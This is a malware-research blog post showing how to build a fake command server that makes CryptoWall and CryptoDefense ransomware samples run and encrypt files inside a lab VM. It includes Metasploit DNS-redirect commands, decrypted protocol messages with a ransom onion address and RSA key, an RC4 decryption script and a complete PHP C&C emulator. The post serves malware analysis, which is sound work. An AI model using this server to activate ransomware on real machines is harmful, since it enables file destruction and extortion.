Getting CryptoWall and CryptoDefense working without C&C


It’s common to find malware samples that need the C&C to work. This is the case of Cryptowall and CryptoDefense ransomwares. If you need to debug samples of these families you will usually find the C&C down and the ransom won’t work and won’t encrypt files. It only will try to connect to C&C continuously.

In this article i’m going to describe a way to create a fake C&C for CryptoWall and CryptoDefense families, and how to get samples of these families working into a vmware for example.

In the first place, we need to redirect any connection performed by the ransomware to our server. Depending on the sample they connect to different domains, so we need to redirect any connection to our fake server.

We will use metasploit’s fakedns module for this purpose:

msf > use auxiliary/server/fakedns
msf auxiliary(fakedns) > set TARGETACTION FAKE
TARGETACTION => FAKE
msf auxiliary(fakedns) > set TARGETDOMAIN *
TARGETDOMAIN => *
msf auxiliary(fakedns) > set TARGETHOST 192.168.2.2
TARGETHOST => 192.168.2.2

With these commands we create a dns server that redirect any query to 192.168.2.2. On this ip address will be running an apache server.

In the second place we need to redirect any query to our http server (any URI) to the same document. We can do this by adding these lines to httpd.conf:

RewriteEngine On
RewriteCond %{REQUEST_URI} !^/index.php
RewriteRule . /index.php

Now we can implement the php to give to the ransomware the responses that they need to work.

 

CryptoWall:

CryptoWall uses a query-response communication mechanism to communicate with the C&C. Communications are encrypted with rc4. Cryptowall client connects to C&C http server. The URI is the rc4 key in random order (it’s neccesary to order it in growing order). The client sent via POST the query’s data. So, to decrypt it, it’s necesary to take the rc4 key of the URI, order it, and decrypt the POST content.

Example query:

8    0.218529    192.168.204.235    141.255.167.3    HTTP    156    POST /w72sh29mlo HTTP/1.1  (application/x-www-form-urlencoded)

w=c13314ada7ed648b9919aeff2306e02241242601e0744aa69304d98065c43670fca844aa579d9ab44f3c1bd89231b9351c34

Here we can see a complete communcation extracted from a pcap file:

Q:nvawc5uxnp,3de9a8c4e00c59e80a58059f17cdab179e740ac0337b673dd50e7499b43ea13c1c37d8def042e12d520b49da59650016c9
R:nvawc5uxnp,3deae595eb0f14
Q:ylrq5msbpctg,30c51f5e25a1f0346aa429e82c9db310dbdc13c8a8d11f93e3b8a734aeb90a295f4a01219bf164ce59b57591
Q:ylrq5msbpctg,30c0560d2ef8b0657faa69cf1d92ea5deef13993efcc41c4c9e5f87fafcd2928153c626f87ef7fa1328b04ab311a01913e75e057b68ae9b29ea70410f7f71316edb6b2490d19467c2b699e43abfefac5aa7028cb2e5ecfd8428a82820e85155cff3a94c56f7a7cc722189888237d65eb112674486631a0280a85412f722220cb83982c940230ccc35afee0c27cf7fd471cab5ed1ccd950f6cfdd5f44bde319421ec7ead45d9fb7d1163e15637874298a6ede97bc0cc3348463784b46c40fc26686e74e2522e66365b8e064a84b013601b081a7ee9ff68a2cfec79adfcb14e6080a52faf8aa98fad6a6192d8d19d2804707d697ee42ae9b12e844ba73e7844d95849997cb5c7fbfb0f58a4915e831d12b8d02512c39c575667b2e7bf4163e8858a026f783d5b0fa50a3d38bb5b8bbb66d45d8be2b45b3e422df25a8d18aec70aba9212748488f914df06a08f6666a551169898e95eed5b4b82a11fe7aea2e32e02774e6ed0b0df879156079d26e74fb6605989fdd4731a20c4d53bb5da13b04a936d20a8d91088e6e5a19e6eb0c13d49e46b26a8ed3dfd2a9331142a3fc1c08636f997bf5caedd9dc095a93b63810527541f78d33bb775955292277d2ae621fb95dc88e1bdc59f9e6c44caea922c327c6bbc2cb78831387f0bab6e58b8eb73392167c0c4085070f86fdeb2ada0cb966

The string before comma is the rc4 key. The string after comma is the POST data.

We can decrypt it with the script in the section Code 1 at the end of this article.

The decrypted queries/responses:

query:{1|cw200|99DC835DFC77319C2176AB46302136BF|2|1|2|}
response:{212|1}
query:{7|cw200|99DC835DFC77319C2176AB46302136BF|4}
response:{250|kpai7ycr7jxqkilp.onion|75a5|ES|—–BEGIN PUBLIC KEY—–
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq6ZEGywe2wC83CErmVhB
gn89wi2lq8rQyYZZGCUyQr5cQirN32HX5n6MNcJDjB8uINSosaHHGdCPUeOoetx9
IM3TiXZwwSnteGR+gBry/C7dr3JSAWrnLE+TkeO6mrQ8yUtaZ3ue7XSyvV457jLz
Lg1noHcLL/RXNKsP0MmbZW1yHvRulsuy5XW6clQqNMMmfAAT8y+UwePL7M0YG86q
SP9QQFB3B+FdlRJ/8VlN3Sva1JeXJbxGcbmowwtJEJVZtAuf9c7sDv5Kt1tlH8Z2
VXjg4P2Dw3KUg/7pcfL18SAEfsRBIONFvLNcrVdh0/W5aVh6/9djcnMiCV61CYkS
7wIDAQAB
—–END PUBLIC KEY—–}

We only need to imitate the communication with our php to get cryptowall working.

You can find a functional php file in the section Code 2 at the end of this article.

 

CryptoDefense:

CryptoDefense communications are very similar to CryptoWall. It uses the same mechanism of query/response encrypted with rc4. We can use the same python script to decrypt communications. Here is a sample decrypted communication:

query:{1|cw200|99DC835DFC77319C2176AB46302136BF|2|1|2|}
response:{212|1}

With CryptoDefense we only need to response with a “OK” response to the client and it starts to encrypt.

The php file in the section Code 2 at the end of this article works for CryptoWall and CryptoDefense.

 

 

Code 1. Python script to decrypt Crytpowall communications:

You must call this scrypt with the path to a file with cryptowall communications. Communications should appear in this format into the document:

<rc4 key 1>,<content 1>

<rc4 key 2>,<content 2>

<rc4 key N>,<content N>

 

Code:

import sys
from array import array

def rc4_ksa(key):
  keylen = len(key)
  S = range(256)
  j = 0
  for i in range(256):
    j = (j+S[i]+key[i%keylen])%256
    S[i], S[j] = S[j], S[i]
  return S

def rc4_prng_and_xor(ct, S_):
  S = list(S_)
  pt = []
  ctlen = len(ct)
  i = 0
  j = 0
  for c in ct:
    i = (i+1)%256
    j = (j+S[i])%256
    S[i], S[j] = S[j], S[i]
    k = (S[i]+S[j])%256
    pt.append(c^S[k])
  return pt


def main():

  f = open(sys.argv[1])
  l = f.readlines()
  f.close()
  
  fout = open(sys.argv[1]+".decrypted","w+b")
  
  for ll in l:
    
    lltemp = ll.split(',')
    
    if lltemp[1][-1]=='\n':
      lltemp = (lltemp[0], lltemp[1][0:-1])
    
    print lltemp
      
    key_sorted = sorted(bytearray(lltemp[0]))
    data = bytearray(lltemp[1].decode("hex"))

    S = rc4_ksa(key_sorted)
    plain = rc4_prng_and_xor(data, S)
    
    print array('B', plain).tostring()
    
    fout.write(array('B', plain).tostring()+"\r\n")
  
  fout.close()
  return 0


if __name__ == '__main__':
  main()

Code 2. Php fake Cryptowall/CryptoDefense server:

<?php

    /* vim: set expandtab shiftwidth=4 softtabstop=4 tabstop=4: */

    /**
     * RC4Crypt 3.2
     *
     * RC4Crypt is a petite library that allows you to use RC4
     * encryption easily in PHP. It's OO and can produce outputs
     * in binary and hex.
     *
     * (C) Copyright 2006 Mukul Sabharwal [http://mjsabby.com]
     *     All Rights Reserved
     *
     * @link http://rc4crypt.devhome.org
     * @author Mukul Sabharwal <mjsabby@gmail.com>
     * @version $Id: class.rc4crypt.php,v 3.2 2006/03/10 05:47:24 mukul Exp $
     * @copyright Copyright &copy; 2006 Mukul Sabharwal
     * @license http://www.gnu.org/copyleft/gpl.html
     * @package RC4Crypt
     */

    /**
     * RC4 Class
     * @package RC4Crypt
     */
    class rc4crypt {
        /**
         * The symmetric encryption function
         *
         * @param string $pwd Key to encrypt with (can be binary of hex)
         * @param string $data Content to be encrypted
         * @param bool $ispwdHex Key passed is in hexadecimal or not
         * @access public
         * @return string
         */
        function encrypt ($pwd, $data, $ispwdHex = 0)
        {
            if ($ispwdHex)
                $pwd = @pack('H*', $pwd); // valid input, please!

            $key[] = '';
            $box[] = '';
            $cipher = '';

            $pwd_length = strlen($pwd);
            $data_length = strlen($data);

            for ($i = 0; $i < 256; $i++)
            {
                $key[$i] = ord($pwd[$i % $pwd_length]);
                $box[$i] = $i;
            }
            for ($j = $i = 0; $i < 256; $i++)
            {
                $j = ($j + $box[$i] + $key[$i]) % 256;
                $tmp = $box[$i];
                $box[$i] = $box[$j];
                $box[$j] = $tmp;
            }
            for ($a = $j = $i = 0; $i < $data_length; $i++)
            {
                $a = ($a + 1) % 256;
                $j = ($j + $box[$a]) % 256;
                $tmp = $box[$a];
                $box[$a] = $box[$j];
                $box[$j] = $tmp;
                $k = $box[(($box[$a] + $box[$j]) % 256)];
                $cipher .= chr(ord($data[$i]) ^ $k);
            }
            return $cipher;
        }
        /**
         * Decryption, recall encryption
         *
         * @param string $pwd Key to decrypt with (can be binary of hex)
         * @param string $data Content to be decrypted
         * @param bool $ispwdHex Key passed is in hexadecimal or not
         * @access public
         * @return string
         */
        function decrypt ($pwd, $data, $ispwdHex = 0)
        {
            return rc4crypt::encrypt($pwd, $data, $ispwdHex);
        }
    }
?>
<?php
  function hextobin($hexstr) 
  { 
    $n = strlen($hexstr); 
    $sbin="";   
    $i=0; 
    while($i<$n) 
    {       
      $a =substr($hexstr,$i,2);           
      $c = pack("H*",$a); 
      if ($i==0){$sbin=$c;} 
      else {$sbin.=$c;} 
      $i+=2; 
    } 
    return $sbin; 
  } 
?>
<?php
/**
* Crypt/decrypt strings with RC4 stream cypher algorithm.
*
* @param string $key Key
* @param string $data Encripted/pure data
* @see   http://pt.wikipedia.org/wiki/RC4
* @return string
*/
function rc4($key, $data)
{
  // Store the vectors "S" has calculated
  static $SC;
  // Function to swaps values of the vector "S"
  $swap = create_function('&$v1, &$v2', '
      $v1 = $v1 ^ $v2;
      $v2 = $v1 ^ $v2;
      $v1 = $v1 ^ $v2;
  ');
  $ikey = crc32($key);
  if (!isset($SC[$ikey])) {
      // Make the vector "S", basead in the key
      $S    = range(0, 255);
      $j    = 0;
      $n    = strlen($key);
      for ($i = 0; $i < 255; $i++) {
          $char  = ord($key{$i % $n});
          $j     = ($j + $S[$i] + $char) % 256;
          $swap($S[$i], $S[$j]);
      }
      $SC[$ikey] = $S;
  } else {
      $S = $SC[$ikey];
  }
  // Crypt/decrypt the data
  $n    = strlen($data);
  $data = str_split($data, 1);
  $i    = $j = 0;
  for ($m = 0; $m < $n; $m++) {
      $i        = ($i + 1) % 256;
      $j        = ($j + $S[$i]) % 256;
      $swap($S[$i], $S[$j]);
      $char     = ord($data[$m]);
      $char     = $S[($S[$i] + $S[$j]) % 256] ^ $char;
      $data[$m] = chr($char);
  }
  return implode('', $data);
}
?>
<?php 
function response() { 


//////////////////CRYPTOWALL/CRYPTODEFENSE////////////////////////////////////////////////////////////////////


foreach ($_POST as $name => $value) {

    //we get the uri, that is a rc4 key. Its necesary to order bytes to decrypt coming data
    $rc4key_bytearray = unpack('C*', substr("$_SERVER[REQUEST_URI]", 1));
    asort($rc4key_bytearray);   
    $rc4key_bytearray_str = implode(array_map("chr", $rc4key_bytearray));
    
    //here we have decrypted data coming from ransom
    $cwcommand = rc4crypt::decrypt($rc4key_bytearray_str, hextobin($value));
    
    //if the command starts with { after decryption its surely a cryptowall
    if ($cwcommand[0]=='{')
    {
      if(strpos($cwcommand, "crypt")!=FALSE) //cryptodefense
      {
        //cryptodefense command example: {1|crypt11|99DC835DFC77319C2176AB46302136BF|2|1|2|}
        //              response: {240|1}    

        $temp = bin2hex(rc4crypt::encrypt($rc4key_bytearray_str, "{240|1}"));    
        
        //echo strlen($temp);
        
        $arrtemp = str_split($temp, 50);
        
        foreach ($arrtemp as $arrtempN) {        
          echo $arrtempN;        
        }        
      }
      else if(strpos($cwcommand, "cw")!=FALSE && $cwcommand[1]=='1') //cryptowall first msg
      {
        //cryptowall msg1 communications example:
        
        //command:{1|cw200|99DC835DFC77319C2176AB46302136BF|2|1|2|}
        //response:{212|1}
      
        $premsgres = "{212|1}";
      
        //cryptowall
        //now, with the key, its necesary to encrypted the response and send it to the client
        $temp = bin2hex(rc4crypt::encrypt($rc4key_bytearray_str, $premsgres));    
        
        //echo strlen($temp);
        
        $arrtemp = str_split($temp, 50);
        
        foreach ($arrtemp as $arrtempN) {        
          echo $arrtempN;        
        }      
      }
      else if(strpos($cwcommand, "cw")!=FALSE && $cwcommand[1]=='7') //cryptowall second msg
      {
        //cryptowall msg2 communications example:
        
        //command:{7|cw200|99DC835DFC77319C2176AB46302136BF|4}
        //response:{250|kpai7ycr7jxqkilp.onion|75a5|ES|-----BEGIN PUBLIC KEY-----
        //MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq6ZEGywe2wC83CErmVhB
        //gn89wi2lq8rQyYZZGCUyQr5cQirN32HX5n6MNcJDjB8uINSosaHHGdCPUeOoetx9
        //IM3TiXZwwSnteGR+gBry/C7dr3JSAWrnLE+TkeO6mrQ8yUtaZ3ue7XSyvV457jLz
        //Lg1noHcLL/RXNKsP0MmbZW1yHvRulsuy5XW6clQqNMMmfAAT8y+UwePL7M0YG86q
        //SP9QQFB3B+FdlRJ/8VlN3Sva1JeXJbxGcbmowwtJEJVZtAuf9c7sDv5Kt1tlH8Z2
        //VXjg4P2Dw3KUg/7pcfL18SAEfsRBIONFvLNcrVdh0/W5aVh6/9djcnMiCV61CYkS
        //7wIDAQAB
        //-----END PUBLIC KEY-----}           
      
        $msgres = "{250|kpai7ycr7jxqkilp.onion|75a5|ES|-----BEGIN PUBLIC KEY-----\r\n".
        "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq6ZEGywe2wC83CErmVhB\r\n".
        "gn89wi2lq8rQyYZZGCUyQr5cQirN32HX5n6MNcJDjB8uINSosaHHGdCPUeOoetx9\r\n".
        "IM3TiXZwwSnteGR+gBry/C7dr3JSAWrnLE+TkeO6mrQ8yUtaZ3ue7XSyvV457jLz\r\n".
        "Lg1noHcLL/RXNKsP0MmbZW1yHvRulsuy5XW6clQqNMMmfAAT8y+UwePL7M0YG86q\r\n".
        "SP9QQFB3B+FdlRJ/8VlN3Sva1JeXJbxGcbmowwtJEJVZtAuf9c7sDv5Kt1tlH8Z2\r\n".
        "VXjg4P2Dw3KUg/7pcfL18SAEfsRBIONFvLNcrVdh0/W5aVh6/9djcnMiCV61CYkS\r\n".
        "7wIDAQAB\r\n".
        "-----END PUBLIC KEY-----}";

        //cryptowall
        //now, with the key, its necesary to encrypted the response and send it to the client
        $temp = bin2hex(rc4crypt::encrypt($rc4key_bytearray_str, $msgres));    
        
        //echo strlen($temp);
        
        $arrtemp = str_split($temp, 50);
        
        foreach ($arrtemp as $arrtempN) {        
          echo $arrtempN;        
        }        
      }
    }
  }
//////////////////////////////////////////////////////////////////////////////////////////////////////////////

}
?>
<?php response();?>
Advertisements

4 thoughts on “Getting CryptoWall and CryptoDefense working without C&C

  1. Just a heads up…nice article, but there is a typo in your python.
    fout.write(array(‘Blain).tostring()+”\r\n”) should be fout.write(array(‘B’, plain.tostring()+”\r\n”).

    Like

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s